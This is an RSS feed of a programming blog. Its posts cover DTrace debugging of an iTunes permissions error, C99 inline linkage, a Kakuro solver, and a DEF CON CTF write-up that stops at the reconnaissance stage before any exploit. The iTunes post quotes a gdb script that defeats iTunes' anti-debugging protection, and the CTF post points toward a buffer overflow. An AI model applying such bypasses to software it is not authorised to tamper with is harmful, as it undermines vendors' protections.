<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Spoony Blog &#187; Programming</title>
	<atom:link href="http://adamrosenfield.com/blog/category/programming/feed/" rel="self" type="application/rss+xml" />
	<link>http://adamrosenfield.com/blog</link>
	<description>Just until I can come up with a better name</description>
	<lastBuildDate>Sun, 15 Apr 2012 04:01:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Debugging a strange iTunes permissions problem with DTrace</title>
		<link>http://adamrosenfield.com/blog/2011/11/27/debugging-a-strange-itunes-permissions-problem-with-dtrace/</link>
		<comments>http://adamrosenfield.com/blog/2011/11/27/debugging-a-strange-itunes-permissions-problem-with-dtrace/#comments</comments>
		<pubDate>Sun, 27 Nov 2011 21:07:16 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=246</guid>
		<description><![CDATA[The other day, I noticed that one of my media files wouldn&#8217;t play in iTunes because it decided that my computer wasn&#8217;t authorized to play it. I could not authorize my computer to play that song, however, because the iTunes account name associated with that song no longer existed—I had changed the email address of [...]]]></description>
			<content:encoded><![CDATA[<p>The other day, I noticed that one of my media files wouldn&#8217;t play in iTunes because it decided that my computer wasn&#8217;t authorized to play it.  I could not authorize my computer to play that song, however, because the iTunes account name associated with that song no longer existed—I had changed the email address of my account in between the time that that was purchased and when I transferred it to my current computer (it was purchased prior to iTunes&#8217; releasing all of their music DRM-free; I strongly oppose <a href="http://adamrosenfield.com/blog/2008/09/12/digital-restrictions-management/">DRM</a>).</p>
<p>When I attempted to re-download the track from the iTunes Store, it gave me this error message which would ordinarily be pretty helpful:</p>
<hr />
<strong>iTunes couldn&#8217;t download your purchase.</strong></p>
<p>You don&#8217;t have write access for your iTunes Media folder or a folder within it. Change permissions (in the Finder) and then choose Store &gt; Check for Available Downloads</p>
<hr />
<p>Alas, that was not the problem.  Nothing I can think of would have messed up the permissions, and <a href="http://linux.die.net/man/1/find">find(1)</a> confirms that all of the subdirectories there are owned by me and are readable, writable, and executable:</p>
<pre>
$ cd ~/Music/iTunes
$ find . \! -user $USER
$ find . -type d \! -perm -0700
$ # No output from the above commands
</pre>
<p>What&#8217;s going on here?</p>
<p>Time to dig deeper with <a href="http://www.mactech.com/articles/mactech/Vol.23/23.11/ExploringLeopardwithDTrace/index.html">DTrace</a>.  DTrace is a powerful debugging tool, useful for answering such questions as &#8220;What system calls is this process calling?&#8221;, &#8220;Why is the performance of my server so horrendous?&#8221; and many more.  It&#8217;s like <a href="http://blogs.oracle.com/ksplice/entry/strace_the_sysadmin_s_microscope">strace</a> on crack.</p>
<p>But with great power comes great complexity.  In order to use DTrace, you need write a short program in the tool&#8217;s D programming language (not to be confused with <a href="http://www.d-programming-language.org/">that other D programming language</a>).  The program can be written on the command line or in a separate text file, but it&#8217;s still non-trivial.  Some really useful examples can be found <a href="http://prefetch.net/articles/solaris.dtracetopten.html">here</a>, in addition to the various examples in the documentation.</p>
<p>The error message from iTunes strongly smells like a call to <a href="http://linux.die.net/man/2/open"><code>open(2)</code></a> is failing with <code>EACCES</code> when iTunes tries to create the re-downloaded media file.  Let&#8217;s see if that&#8217;s the case:</p>
<pre class="brush: cpp; title: ; notranslate">syscall::open*:entry
/pid == $target/
{
  printf(&quot;%s %s 0x%x 0x%x&quot;, execname, copyinstr(arg0), arg1, arg2);
}

syscall::open*:return
/pid == $target/
{
  printf(&quot;errno=%d&quot;, errno);
}
</pre>
<p>Get the PID of iTunes, start tracing it with <code>sudo dtrace -s open.d -p $PID</code>, and try to download the file again.  Unfortunately the output is not expected—errors like this get printed many times:</p>
<pre>dtrace: error on enabled probe ID 6 (ID 120: syscall::open:return):
 invalid user access in action #2 at DIF offset 24</pre>
<p>After a little more digging, I discovered that <a href="http://www.steike.com/code/debugging-itunes-with-gdb/">iTunes does not like getting debugged</a>, which probably means it also doesn&#8217;t like getting itself traced—it just makes the debugger segfault instead.  Fortunately, it&#8217;s not too hard to get around this: just turn <code>ptrace</code> into a no-op in iTunes when it tries to make itself undebuggable with <code>ptrace(PT_DENY_ATTACH)</code>.  <a href="http://www.blackhat.com/presentations/bh-jp-08/bh-jp-08-Miller/BlackHat-Japan-08-Miller-Hacking-OSX.pdf">Charlie Miller</a> provides a nice gdb script for doing so:</p>
<pre>break ptrace
condition 1 *((unsigned int *) ($esp + 4)) == 0x1f
commands 1
return
c
end</pre>
<p>Ok, so we&#8217;re past that hurdle.  Quit iTunes, restart it under gdb with this anti-anti-debugging technique, fire up DTrace again, and try to re-download the file:</p>
<pre style="overflow: scroll;">CPU     ID                    FUNCTION:NAME
  0    119                       open:entry iTunes /.vol/234881026/1516872/SC Info.sidb 0xa00 0x1b6
  0    120                      open:return errno=13</pre>
<p>Hmm.  Error 13 is indeed <code>EACCES</code>, but what is this strange file under <code>/.vol</code>?  Why, it&#8217;s the <a href="http://compute.cnr.berkeley.edu/cgi-bin/man-cgi?volfs+7">Volume Management file system</a>, used by the <a href="http://developer.apple.com/library/mac/#documentation/Carbon/Reference/File_Manager/Reference/reference.html">Carbon File Manager</a>.  Using <code>ls -al /.vol</code>, it appears that that directory is completely empty, yet somehow other file accesses within there succeeded, as indicated in the DTrace output.</p>
<p>I&#8217;m not sure if there&#8217;s an easy to figure out which directory in the real file system that <code>/.vol/234881026/1516872</code> refers to, but a quick search for a file named &#8220;SC Info&#8221; yields two likely candidates:</p>
<pre>$ locate -i "SC Info"
/Users/Shared/SC Info
/Users/Shared/SC Info~orig</pre>
<p>Let&#8217;s see what those directories look like:</p>
<pre>$ ls -la /Users/Shared/SC\ Info*
/Users/Shared/SC Info:
total 0
drwxr-xr-x   2 root  wheel   68 Jul  2  2010 .
drwxrwxrwt  10 root  wheel  340 Oct 30 22:54 ..

/Users/Shared/SC Info~orig:
total 0
drwxrwxrwx   2 adam  wheel   68 Jul  2  2010 .
drwxrwxrwt  10 root  wheel  340 Oct 30 22:54 ..</pre>
<p>Aha!  So iTunes is trying to create a file named <code>SC Info.sidb</code> in <code>/Users/Shared/SC Info</code>, but it&#8217;s failing because I don&#8217;t have write access to that directory.</p>
<p>The solution:</p>
<pre>sudo chmod a+w /Users/Shared/SC\ Info</pre>
<p>Bingo!  The song now downloads successfully.</p>
<p>Of course, you probably could have skipped all this, googled the error message, and found <a href="http://support.apple.com/kb/ts1277">this knowledge base article</a> explaining how to fix it without too much trouble, but that&#8217;s boring.  Using DTrace to debug the problem is much more fun and exciting!</p>
<p>Do you have any great success (or failure) stories involving DTrace?</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2011/11/27/debugging-a-strange-itunes-permissions-problem-with-dtrace/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Algebraic Crosswords</title>
		<link>http://adamrosenfield.com/blog/2011/04/24/algebraic-crosswords/</link>
		<comments>http://adamrosenfield.com/blog/2011/04/24/algebraic-crosswords/#comments</comments>
		<pubDate>Sun, 24 Apr 2011 05:59:42 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Puzzles]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=212</guid>
		<description><![CDATA[A blogger by the name of T Campbell recently posted an interesting read about Algebraic Crosswords. And at the end, T posts a $100 bounty for a computer program to help crossword constructors construct such crosswords. That&#8217;s right up my alley as both a programmer and a puzzle solver, so I threw together a quick [...]]]></description>
			<content:encoded><![CDATA[<p>A blogger by the name of T Campbell recently posted <a href="http://www.crosswordfiend.com/blog/2011/04/23/algebraic-crosswords-cts-10/">an interesting read about Algebraic Crosswords</a>.  And at the end, T posts a $100 bounty for a computer program to help crossword constructors construct such crosswords.  That&#8217;s right up my alley as both a programmer and a puzzle solver, so I threw together a quick Python script to do the job.</p>
<p>My program, named algxword, can be downloaded <a href="http://adamrosenfield.com/files/algxword.zip">here</a>.</p>
<p>The usage is as follows:</p>
<pre>Usage: ./algxword.py [OPTIONS...] WORDLIST FROM TO

Finds all words in the file WORDLIST (which need not be sorted) which would
continue to be words when substituting the substring FROM for the substring TO.
Only words which contain FROM in them are considered.

Both FROM and TO can be empty strings.  If FROM is the empty string, then TO is
added at each position in the string to test for a word.  If TO is the empty
string, then the FROM string is simply deleted.

Ordinarily, only the first occurrence of FROM is replaced with TO.  If the -a
option is specified, then all occurrences of FROM are replaced with TO.

OPTIONS:

-a      Replaces all occurrences of FROM with TO when testing for a word
--help  Prints this help message</pre>
<p>Examples:</p>
<pre># Find all words which remain words when substituting the first occurrence of
# 'qu' for 'k' in the word list /usr/share/dict/words
python algxword.py /usr/share/dict/words qu k

# Same as above, but replace all occurrences of 'qu' for 'k'
python algxword.py -a /usr/share/dict/words qu k

# Find all words which can have an 'lax' inserted in them
python algxword.py /usr/share/dict/words "" lax</pre>
<p>More detailed instructions for the less command line-savvy can be found in the included README file.</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2011/04/24/algebraic-crosswords/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>The tricky inline specifier in C99</title>
		<link>http://adamrosenfield.com/blog/2011/03/21/the-tricky-inline-specifier-in-c99/</link>
		<comments>http://adamrosenfield.com/blog/2011/03/21/the-tricky-inline-specifier-in-c99/#comments</comments>
		<pubDate>Mon, 21 Mar 2011 04:04:18 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=198</guid>
		<description><![CDATA[Try to compile the following simple C program in C99 mode with GCC: The results may surprise you: $ gcc test.c -std=c99 /tmp/ccWN4GRh.o: In function `main': test.c:(.text+0xa): undefined reference to `foo' collect2: ld returned 1 exit status Huh? The function&#8217;s right there! Well it turns out that this is not a bug in GCC, but [...]]]></description>
			<content:encoded><![CDATA[<p>Try to compile the following simple C program in C99 mode with GCC:</p>
<pre class="brush: cpp; title: ; notranslate">inline void foo() {}
int main(void)
{
  foo();
}</pre>
<p>The results may surprise you:</p>
<pre>$ gcc test.c -std=c99
/tmp/ccWN4GRh.o: In function `main':
test.c:(.text+0xa): undefined reference to `foo'
collect2: ld returned 1 exit status</pre>
<p>Huh?  The function&#8217;s right there!</p>
<p>Well it turns out that this is not a bug in GCC, but a peculiarity in the way the <code>inline</code> keyword is defined by the C99 standard.  Basically, a function declared <code>inline</code> without either of the <code>extern</code> or <code>static</code> linkage specifiers only creates an inline definition of that function, <strong>not an external definition</strong>.</p>
<p>When presented with a call to such a function, the compiler can choose to call either the inline definition or the external definition.  If it chooses the external definition, and such an external definition doesn&#8217;t exist, we get a linker error, as in the above example.  In the dry words of the standard:</p>
<blockquote><p>ISO/IEC 9899:1999 §6.7.4/6:</p>
<p>Any function with internal linkage can be an inline function. For a function with external linkage, the following restrictions apply: If a function is declared with an <strong>inline</strong> function specifier, then it shall also be defined in the same translation unit. If all of the file scope declarations for a function in a translation unit include the <strong>inline</strong> function specifier without <strong>extern</strong>, then the definition in that translation unit is an <em>inline definition</em>. An inline definition does not provide an external definition for the function, and does not forbid an external definition in another translation unit. An inline definition provides an alternative to an external definition, which a translator may use to implement any call to the function in the same translation unit. It is unspecified whether a call to the function uses the inline definition or the external definition.<sup>120)</sup></p></blockquote>
<p>So there are three ways to fix this code:</p>
<ol>
<li>Give <code>foo</code> internal linkage (by declaring it <code>static</code>) and avoid the above clause entirely</p>
<li>Declare <code>foo</code> as <code>extern</code>
<li>Provide a separate external definition for <code>foo</code> in another translation unit (that is, another source file)
</ol>
<p>I would strongly recommend against solution #3, since then your code base will have two separate definitions of <code>foo</code>, which will be very confusing for people reading your code.  It&#8217;s very easy for them to get out of sync, if somebody changes one definition but forgets to change the other, which makes for some insidious bugs (such as working correctly in a debug build but not in a release build, or vice-versa).</p>
<p>If your inline function is defined and used only in one source file (as in our toy example), solution #1 is the way to go: <a href="http://en.wikipedia.org/wiki/Principle_of_least_privilege">just give it internal linkage</a>.  No reason to make it world-accessible.</p>
<p>Conversely, if your inline function is defined in a header file so it can be used throughout your code, it makes more sense to give it external linkage.  Go with solution #2:</p>
<pre class="brush: cpp; title: ; notranslate">extern inline void foo() { /* body */ }</pre>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2011/03/21/the-tricky-inline-specifier-in-c99/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Unkillable Window</title>
		<link>http://adamrosenfield.com/blog/2010/09/08/the-unkillable-window/</link>
		<comments>http://adamrosenfield.com/blog/2010/09/08/the-unkillable-window/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 05:56:36 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=131</guid>
		<description><![CDATA[I recently ran into a very strange occurrence on my Windows box: an unkillable window. I was rebooting after installing some software that required a reboot (*sigh*) and noticed that the restart didn&#8217;t quite happen—most of my processes were killed, but there was this leftover window that wouldn&#8217;t go away. Further attempts to reboot did [...]]]></description>
			<content:encoded><![CDATA[<p>I recently ran into a very strange occurrence on my Windows box: an unkillable window.  I was rebooting after installing some software that required a reboot (<em>*sigh*</em>) and noticed that the restart didn&#8217;t quite happen—most of my processes were killed, but there was this leftover window that wouldn&#8217;t go away.  Further attempts to reboot did not result in any obvious effect, and the window refused to be closed by any normal method (though it happily moved around).</p>
<p>I also couldn&#8217;t start any new processes (such as a debugger); Windows wouldn&#8217;t let me because the system was shutting down.  Oof.  Fortunately, I did have a copy of <a href="http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx">Process Explorer</a> already running.  Process Explorer has a nifty tool where you can drag this icon (the circle-cross icon adjacent to the binoculars) onto any window, and it will tell you what process that window belongs to.  I assume it uses <a href="http://msdn.microsoft.com/en-us/library/ms633522%28VS.85%29.aspx">GetWindowThreadProcessId()</a>.  However, doing this gave a curious error, something like &#8220;this window does not belong to any process&#8221;; I forget the exact wording since I didn&#8217;t write it down.</p>
<p>At this point, I was ready to pull the plug, but I decided to try one more thing—I started killing processes willy-nilly.  When I killed services.exe, Windows got kinda upset and told me that it would be shutting down in 60 seconds because a critical process was killed, which was perfectly fine with me.  But 60 seconds passed by, and Windows still did not shut down.  I then killed winlogon.exe, which promptly <a href="http://en.wikipedia.org/wiki/Blue_screen_of_death">BSOD</a>&#8216;ed me.</p>
<p>I don&#8217;t remember exactly what I did to create the unkillable window, but it went something like this: I was simultaneously debugging two copies of a particular executable, one with Visual Studio 2008 and one with WinDbg.  I also at one point set the <a href="http://msdn.microsoft.com/en-us/library/a329t4ed%28VS.71%29.aspx">Image File Execution Options</a> debugger key for that executable to point to vsjitdebugger.exe, and I may have deleted that registry key during my debugging sessions.  The unkillable window was the console window from the debuggee of one of those debugging sessions (not sure which), and it somehow persisted after killing the debugger.</p>
<p>Does anyone have any ideas on what exactly can cause such an unkillable window not owned by any process to appear?  And if it does appear, how can it be killed without hard rebooting?  It&#8217;s too bad <a href="http://blogs.msdn.com/b/oldnewthing/">Raymond Chen</a>&#8216;s <a href="http://blogs.msdn.com/b/oldnewthing/archive/2010/07/20/10040074.aspx">suggestion box</a> is closed, otherwise this would be going right in there.  Raymond, if you&#8217;re out there, your input would have greatly appreciated on this matter.</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/09/08/the-unkillable-window/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Kakuro Solver</title>
		<link>http://adamrosenfield.com/blog/2010/07/01/kakuro-solver/</link>
		<comments>http://adamrosenfield.com/blog/2010/07/01/kakuro-solver/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 05:18:06 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=107</guid>
		<description><![CDATA[Kakuro (also known as Cross Sums) is a popular number-based logic puzzle. It resembles crossword puzzles, except instead of clues made up of words, you have clues made up of numbers indicating the sum of the digits in the indicated cells, with the additional constraint that no entry contain the same digit more than once. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.kakuro.com">Kakuro</a> (also known as Cross Sums) is a popular number-based logic puzzle.  It resembles crossword puzzles, except instead of clues made up of words, you have clues made up of numbers indicating the sum of the digits in the indicated cells, with the additional constraint that no entry contain the same digit more than once.</p>
<p>The <a href="http://web.mit.edu/puzzle/www/">MIT Mystery Hunt</a> is no stranger to Kakuros.  It has featured a <a href="http://www.mit.edu/~puzzle/03/www.acme-corp.com/teamGuest/6/6_7.html">number</a> <a href="http://www.mit.edu/~puzzle/05/setec/express_yourself/">of</a> <a href="http://www.mit.edu/~puzzle/07/puzzles/the_joy_of_accountancy/">Kakuro</a> <a href="http://web.mit.edu/puzzle/www/08/cursed/">variants</a> over the years, most of which often involve some special trick or gimmick not present in a standard Kakuro puzzle.  Of course, figuring that out is part of the puzzle.</p>
<p>The 2009 Hunt featured an intriguing puzzle named <a href="http://www.mit.edu/~puzzle/09/puzzles/cross_somethingorothers/PUZZLE/JLN-index.html">Cross Something-Or-Others</a>, by <a href="http://motris.livejournal.com/">Thomas Snyder</a> and Dan Katz.  It had 8 different Kakuro variants (Nonsense Kakuro does not count).  After the Hunt was over, I decided to write a generic, optimized Kakuro solver that could solve all of these variants for help with future Hunts.  Although I did not get to use my solver during the 2010 Hunt (I missed whatever Kakuros there were, if there were any at all), I hope this will be useful for puzzle solvers present and future.</p>
<p>There are <a href="http://www.somethinkodd.com/oddthinking/2006/02/12/a-kakuro-solver/">many</a> <a href="http://www.saam007.com/java/?JApp=KakuroSr">other</a> <a href="http://zwillow.blogspot.com/2005/12/kakuro-solver-and-solvability-by-logic.html">solvers</a> <a href="http://www.technion.ac.il/~zvikabh/software/software.html">out</a> <a href="http://www.bthomson.com/kakuro.html">there</a> (and more), but none of them were adequate enough for me.  They all had various issues: some had no source code (making solving variants impossible), they had a horrendous interface for inputting puzzles, they weren&#8217;t portable enough, or they were too slow.</p>
<p>Actually, I probably could have gone with zvrba&#8217;s solver and modified it, but I decided to start from scratch anyways.  <a href="http://en.wikipedia.org/wiki/Rifleman%27s_Creed">&#8220;There are many like it, but this one is mine&#8221;</a>, as the saying goes.</p>
<p>So anyways, back to my solver.  I wrote it from the ground up to be blazing fast.  It stores the set of possible values a cell can have using a bit set, and it uses some inline assembly (specifically the x86&#8242;s <a href="http://pdos.csail.mit.edu/6.828/2008/readings/i386/BSF.htm">BSF</a> and <a href="http://pdos.csail.mit.edu/6.828/2008/readings/i386/BSR.htm">BSR</a> instructions).  So, it&#8217;s not completely portable out-of-the-box, but those can be replaced easily enough with generic C routines that will be slower, or the equivalent instructions on other ISAs.  It also uses the pthreads library for multithreading.  If you want to compile it for a platform that does not support pthreads (such as Windows), you can either replace pthreads with your platform&#8217;s equivalent, or nuke the threading support entirely.  But other than those two things, the program is completely portable C.</p>
<p>Secondly, I also designed the solver to be as generic as possible, in order to be able to solve (or be modified to solve) as many different Kakuro variants as possible.  The most flexible piece is the set of allowable numbers in a cell.  In standard Kakuro, that set of numbers is 1–9.  Common variants include allowing 0, or changing the base to make something like hexadecimal Kakuro (1–15).  My solver allows any subset of the numbers 0–30; it could easily be modified to use a subset of 0–63, but I haven&#8217;t bothered with that yet, since extending that support might slow it down a little (probably not very much though) on 32-bit machines, and I&#8217;ve never seen a puzzle that uses cells with numbers that large.</p>
<p>I also coded up modifications to solve most of the variants in the puzzles linked to above.  Again, for maximal speed, the logic in these variants is controlled by various <code>#define</code>s, producing separate binaries for each of them.</p>
<p>So how does it work?  Under the hood, it&#8217;s got one simple rule, followed by a brute-force search.  That one rule is:</p>
<ul>
<li>The <em>minimum</em> possible value for a cell is given by the total sum of the numbers in the entry (the <em>clue</em>) minus the sum of the <em>maximum</em> possible values of all of the other cells in the entry</p>
<li>The <em>maximum</em> possible value for a cell is given by the total sum minus the sum of the <em>minimum</em> possible values of all of the other cells in the entry</ul>
<p>It turns out that this is often all you need, especially for simple puzzles.  This does not try to enumerate all possible sets of values for an entry—in other words, for a 2-cell clue with a sum of 4, it does not deduce that 2 is not a possible value for either cell.  It only determines that 1–3 are legal values, since that is 4 (the sum) minus 1 (the minimum value for the other cell).</p>
<p>It also performs other logic which I consider so obvious that it shouldn&#8217;t need stating, but here it is anyways: if a cell can only contain one number, then all other cells in the two entries that go through that cell cannot take on that value.</p>
<p>It repeats this logic for every cell for every clue in both the across and down directions as long as it continues to make progress by eliminating numbers as possible values for cells.  If you&#8217;re lucky, it might solve the entire puzzle this way (this is very fast).  If you&#8217;re not so lucky, it starts a brute-force depth-first search of the entire remaining puzzle space and attempts to enumerate all possible solutions.</p>
<p>The brute-force search isn&#8217;t a dumb search, though.  It picks one cell, iterates through all possible allowed values for that cell, and recurses.  The cell that it picks is one that belongs to the entry that has the fewest possible total values, which is computed as the product of the number of values of each cell in that entry; once the entry is determined, the first cell with more than one possible value is used.  The idea here is that for incorrect guesses (which most are), we want to reach a contradiction as quickly as possible, which we try to do by picking an entry with a small number of possibilities.  In my tests, this usually seems to give vastly better results, but not always, when compared to just picking the first cell that can have multiple values.</p>
<p>Ok, enough with the discussion, you&#8217;ve been patient enough.  You can download my Kakuro solver&#8217;s source code <a href="http://adamrosenfield.com/files/kakuro.tar.gz">here</a>.  It&#8217;s licensed under the GPL version 3 or later.  Comments are most welcome!</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2010/07/01/kakuro-solver/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>I&#8217;ll take Pwtent Pwnables for 400 please, Alex</title>
		<link>http://adamrosenfield.com/blog/2010/05/26/ill-take-pwtent-pwnables-for-400-please-alex/</link>
		<comments>http://adamrosenfield.com/blog/2010/05/26/ill-take-pwtent-pwnables-for-400-please-alex/#comments</comments>
		<pubDate>Thu, 27 May 2010 03:11:21 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://adamrosenfield.com/blog/?p=94</guid>
		<description><![CDATA[This past weekend, I participated in my first ever DEF CON Capture the Flag Qualifying Tournament. CTF is a contest at the aforementioned annual hacker conference where the goal is to keep your team&#8217;s network services (which are on a closed intranet) up and running for as much as possible, while simultaneously trying to bring [...]]]></description>
			<content:encoded><![CDATA[<p>This past weekend, I participated in my first ever <a href="http://www.defcon.org/">DEF CON</a> <a href="http://ddtek.biz/q18.html">Capture the Flag Qualifying Tournament</a>.  CTF is a contest at the aforementioned annual hacker conference where the goal is to keep your team&#8217;s network services (which are on a closed intranet) up and running for as much as possible, while simultaneously trying to bring down your opponents&#8217; network services.  The qualifying tournament is an open tournament to determine the special few who will get to play CTF.</p>
<p>The categories in this year&#8217;s quals were Persuits Trivial, Crypto Badness, Packet Madness, Binary L33tness, Pwtent Pwnables, and Forensics, laid out in a <em>Jeopardy!</em>-style grid.  There were 5 challenges in each category, worth 100 through 500 points respectively.  I spent a fair amount of time working on Pwtent Pwnables (note that this contest was a <em>team</em> contest), and though I didn&#8217;t solve it during the contest, I managed to get a working exploit after the contest ended.  Here&#8217;s a writeup of my work.</p>
<p>For this problem, you&#8217;re given <a href="http://adamrosenfield.com/files/pp400_8c9d628d2144bbe8b.bin">this file</a> and told that it&#8217;s running on pwnie.ddtek.biz.  Go.</p>
<p>A quick <a href="http://linux.die.net/man/1/file">file(1)</a> says that this is a Mach-O executable ppc.  <a href="http://linux.die.net/man/1/strings">strings(1)</a> suggests that it&#8217;s binding to a port and listening on a socket.  It receives some floating-point numbers, computes the average and standard deviation of those numbers, and sends the results back.  The text includes &#8220;max of 16&#8243;, suggesting an obvious buffer overflow attack.</p>
<p>Let&#8217;s take a look at the disassembly and see what we can figure out.  Fire up objdump, part of the <a href="http://www.gnu.org/software/binutils/">binutils</a> distribution:</p>
<pre>$ objdump -d pp400_8c9d628d2144bbe8b.bin -s > pp400.s</pre>
<p>Hmm.  Not a lot to work with here.  No symbols, and the convoluted dynamic linking makes it extremely difficult to even see what the calls to dynamically linked functions are.  Here&#8217;s what the stub for calling <a href="http://linux.die.net/man/2/fork">fork(2)</a> looks like:</p>
<pre>    3d80:   7c 08 02 a6     mflr    r0
    3d84:   42 9f 00 05     bcl-    20,4*cr7+so,3d88 <LC_SEGMENT.__TEXT.__picsymbolstub1+0x2e8>
    3d88:   7d 68 02 a6     mflr    r11
    3d8c:   3d 6b 00 00     addis   r11,r11,0
    3d90:   7c 08 03 a6     mtlr    r0
    3d94:   85 8b 03 18     lwzu    r12,792(r11)
    3d98:   7d 89 03 a6     mtctr   r12
    3d9c:   4e 80 04 20     bctr</pre>
<p>Can you tell that&#8217;s a fork?  I sure can&#8217;t.  The bcl grabs the current instruction address (0&#120;3d88), and then after some bookkeeping, the value at address 0&#120;3d88+0&#120;792 <!-- stupid WordPress is converting the x in 0xblah to &#215; --> is loaded and then branched to.  The memory at 0&#120;40a0 is in the data segment in a stream of <code>.long 0x2428</code>, which presumably get replaced at load time with the actual addresses of the dynamically linked functions.  How exactly that works, though, is still a mystery to me.</p>
<p>Disassembling it isn&#8217;t all that helpful right now, so maybe we can try running it to figure out what it does.  I don&#8217;t have a PowerPC Mac, but thanks to <a href="http://www.apple.com/rosetta/">Rosetta</a>, I can run the program seamlessly on my x86 Mac:</p>
<pre>$ chmod a+x pp400_8c9d628d2144bbe8b.bin
$ ./pp400_8c9d628d2144bbe8b.bin
pp400_8c9d628d2144bbe8b.bin: drop_privs failed!
: Operation not permitted</pre>
<p>Well drat.  It looks like it&#8217;s trying to drop privileges (a standard procedure to minimize risk in socket-based applications), but it&#8217;s failing somehow.  What&#8217;s it trying to do?  Let&#8217;s see with <a href="http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/10.4-intel/man1/ktrace.1.html">ktrace</a> (aside: <a href="http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man1/dtrace.1.html">DTrace</a> is far superior to ktrace but only available on OS X v10.5 and up; if you&#8217;re still running 10.4 like I am, then ktrace is your best option).</p>
<pre>$ ktrace ./pp400_8c9d628d2144bbe8b.bin
pp400_8c9d628d2144bbe8b.bin: drop_privs failed!
: Operation not permitted
$ kdump | less</pre>
<p>Looking through the log, we see calls to <a href="http://linux.die.net/man/2/socket">socket(2)</a>, <a href="http://linux.die.net/man/2/setsockopt">setsockopt(2)</a>, <a href="http://linux.die.net/man/2/bind">bind(2)</a>, and <a href="http://linux.die.net/man/2/listen">listen(2)</a>, a standard sequence for a simple server.  The problem failure here is coming from a call to <a href="http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man2/setgroups.2.html">setgroups(2)</a> and <a href="http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man2/setgid.2.html">setgid()</a>:</p>
<pre>  8972 pp400_8c9d628d21 CALL  setgroups(0x1,0xb7fff958)
  8972 pp400_8c9d628d21 RET   setgroups -1 errno 1 Operation not permitted
  8972 pp400_8c9d628d21 CALL  setgid(0x1f8)
  8972 pp400_8c9d628d21 RET   setgid -1 errno 1 Operation not permitted</pre>
<p>Well hmph, I&#8217;m stumped.  The man pages here (<em>and yes I realize I&#8217;m mixing links to the Linux and OS X man pages; it doesn&#8217;t really matter, they say mostly the same things since this is all POSIX</em>) say that setgroups() will only succeed if run as root, and setgid() can only do trivial things as non-root.  I&#8217;m definitely not going to run this as root, and the contest server sure as hell won&#8217;t be running as root.</p>
<p>At this point, I cheated (sort of).  I noticed that this program was doing essentially the same things as an earlier problem in the contest, namely pp100.  That problem was a program which also ran a server of sorts, but it was an ELF for FreeBSD.  The difference there was that it included some sort of symbols in it, so disassembling it was incredibly helpful: there were useful function names, and it was obvious which system calls were being made and where.  And in that program, I noticed that it was grabbing a username (digger) out of the data segment and calling <code>drop_privs_user()</code> with that username.</p>
<p>Armed with that knowledge and taking another look at the data segment of pp400, we see the string &#8220;luser&#8221; near the beginning.  That looks promising.  So, create a new user on your Mac named luser and try again.</p>
<p>Nope, same error.  Maybe if we try running the program <em>as</em> luser?</p>
<pre>$ su luser
Password:
$ ./pp400_8c9d628d2144bbe8b.bin</pre>
<p>Success!  It&#8217;s now listening on a socket.  But on what port?  <a href="http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man8/lsof.8.html">lsof(8)</a> to the rescue!</p>
<pre>lsof -i  # Must be run as luser (or as root)
COMMAND    PID  USER   FD   TYPE    DEVICE SIZE/OFF NODE NAME
pp400_8c9 9254 luser    4u  IPv4 0x689bc9c      0t0  TCP *:nettest (LISTEN)</pre>
<p>It&#8217;s listening on the nettest port; if we grep for that in <code>/etc/services</code>, we find that that corresponds to port 4138.  So let&#8217;s try that out:</p>
<pre>telnet localhost 4138
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Send me some floats (max of 16), I will tell you some stats!
1 2 3^D
The average of your 3 numbers is 2.000000
The standard deviation of your 3 numbers is 0.816497
Connection closed by foreign host.</pre>
